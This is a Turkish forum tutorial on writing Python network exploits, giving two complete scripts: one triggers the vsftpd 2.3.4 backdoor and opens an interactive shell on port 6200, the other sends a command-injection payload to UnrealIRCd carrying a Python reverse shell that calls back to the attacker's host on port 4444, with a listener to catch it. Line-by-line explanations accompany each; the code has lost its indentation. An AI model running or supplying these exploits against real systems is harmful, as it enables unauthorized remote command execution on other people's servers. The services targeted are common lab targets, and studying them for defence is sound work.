Python ile internet tabanlı exploit nasıl yazılır kısa bir bilgi vermek isterim.
Bunun içinde en sık örnek gösterilen 3 farklı yönden göstermeye çalışacağım.
İnternet tabanlı bir exploit yazmak istiyorsak en başta network programlamayı bilmemiz gerekmekte.
Python ile network programlamada socket modülü kullanılmaktadır.
Socket üzerindeki belli parametreler.
Kod:
socket.AF_INET : Yapılacak bağlantıyı IPv4 üzerinden yapmayı sağlar.
socket.AF_INET6 : Yapılacak bağlantıyı IPv6 üzerinden yapmayı sağlar.
socket.SOCK_STREAM : Yapılacak bağlantıda TCP protokolünün kullanılmasını sağlar.
socket.SOCK_DGRAM : Yapılacak bağlantıda UDP protokolünün kullanılmasını sağlar.
socket.connect((h,p)) : Belirtilen IP adresine bağlanır.(Kullanıcı)
socket.bind((h,p)) : Belirtilen IP ile portu dinlemeye alır.(Sunucu)
socket.listen() : Dinlemeye alınan adrese bağlanacak sayıyı kararlar.
socket.accept() : Bağlantı kurmak isteyen kişileri kabul eder.
socket.send() : Bağlantı kurulan kişiye veri yollanır.
socket.recv() : Bağlantıdan gelecek olan cevabı alır.
Bu parametreler ile temel bir bağlantı kurulup iletişime geçilebilir.
Zaten yazacağımız exploitlerde çok temel düzeyde olacağı için bu parametreler yeterli olacaktır.
Vsftpd 2.3.4
Vsftpd seçilmesinin temel iki nedeni var:
1- En fazla örnek exploiting işleminin kendi üzerinde geçmesinden dolayı.
2- Yapılacak olan bağlantıda herhangi bir handler bulunmaması.
Kod:
from socket import *
import sys
aux = socket(AF_INET,SOCK_STREAM)
host = sys.argv[1]
port = int(sys.argv[2])
aux.connect((host,port))
head = aux.recv(1024).strip()
if "(vsFTPd 2.3.4)" in head:
aux.send("USER something:)\n")
aux.recv(1024)
aux.send("PASS againsomething\n")
aux.close()
print "My man! This port has got a vull.\n"
17| else:
print "Sorry dude:( This is a normal port\n"
exit()
exp = socket(AF_INET,SOCK_STREAM)
exp.connect((host,6200))
while True:
com = raw_input("#")
if com == "exit":
exp.close()
exit()
exp.send(com + "\n")
print exp.recv(1024)
Scriptin ilk 2 kısmında çalıştırılması için hazırlanan socket ve sys modülleri çağırılmış.
4. satırda yapılacak bağlantının TCP ve IPv4 üzerinde olacağı ve scripti kısa tutmak içinde aux olarak bir değişken vermiş.
5. ve 6. kısımda ise kulanıcıdan istenilen host ve port parametrelerini alacağı şekil kararlanmış.
9. satırda belirtilen IP adresi ile porta bağlanılmış. Artık tüm aux değişkenine sahip parametreler bu bağlantı üzerinden işlemlerini yapacak.
10., 11. ve 17. kısımda ise bağlanılan portun kontrolü yapılmakta.
12. satırda gönderilen veri ile kaçış parametresinide yollayıp exploiting işleminin ilk adımı yapıldı.
13. satırda gelicek olan paketi alarak işleme devam ediliyor.
14. ve 15. satırda son dokunuşu yapıp bağlantıdan çıkılıyor.
22. satırda yeni değişken ile koda bakıldığında daha anlaşılır bir görüntü olması adına 4. satırdaki gibi değişken veriliyor.
25. satırda bağlantının gerçekleşmesi durumunda kendi içerisinden çıkış yapılmadığı sürece devam edecek bir while döngüsü açılıyor.
26. satırda hackerdan gönderilmek istenilen veri isteniyor.
28. satırda rahatlık açısından hızlı bir çıkış işlemi anlatılıyor.
32. satırda girilen veri karşı tarafa yollanılıyor.
33. satırda gönderilen veriye karşılık olaraktan cevap geliyor ve yeniden 26. satıra geçiş yapılıyor.
İşte bu şekil görünüyor.
Ağda olan bitenler ise Şunlardır.
Unreal IRC
Kod:
from socket import *
import sys
thost, tport = sys.argv[1], int(sys.argv[2])
lhost = '"'+ sys.argv[3] +'"'
fir = socket(AF_INET,SOCK_STREAM)
fir.connect((thost,tport))
payload = """AB;python -c 'import socket,subprocess,os;pay=socket.socket(socket.AF_INET,socket.SOCK_STREAM);pay.connect((""" + lhost + """,4444));os.dup2(pay.fileno(),0); os.dup2(pay.fileno(),1); os.dup2(pay.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
fir.send(payload)
fir.recv(1024)
han = socket(AF_INET,SOCK_STREAM)
han.bind(("",4444))
han.listen(1)
fir.close()
cl = han.accept()
print cl.recv(1024)
while True:
sh = cl.recv(1024)
send = raw_input(sh)
if send == "exit":
han.close()
exit()
cl.send(send + "\n")
data = cl.recv(1024)
print data
Başkısımlarda önceki exploitteki işlemlerin aynısı yapılmış.
11. satırda bağlantı kurulduktan sonra gönderilecek olan payload modülü tanımlanmış. Modül python ile yazılmış olup amacı hackerın 4444 nolu portuna sh(ell) ile bağlanmak. Bunun içinde ilk kısmında AB; kaçış parametresi görünmekte.
12. satırda payload gönderiliyor.
13. satırda sunucunun kalbini kırmamak için cevap paketi alınıyor ancak hackera sunulmuyor.
18. satırda sunucu tarafından gelecek olan shell bağlantısını yakalayabilmek için bir dinleme portu açılıyor.
19. satırda bağlanacak kullanıcı sayısının 1 cihaz olması isteniyor.
20. satırda önceki payload gönderilen bağlantının bitirilmesi isteniyor.
21. satırda gelecek olan kullanıcının cl adlı değişkene atanması kararlanıyor.
23. satırda bağlantı olması halinde çalışan while döngüsü bulunmakta.
Geri kalan kısım önceki exploit ile aynı işlemi yapmakta.
İşte Görünümü Bu şekilde.
Wireshark ne görüyor .
Mutlaka hatam vardır, pythonda uzman biri değilim.
İyi forumlar dilerim...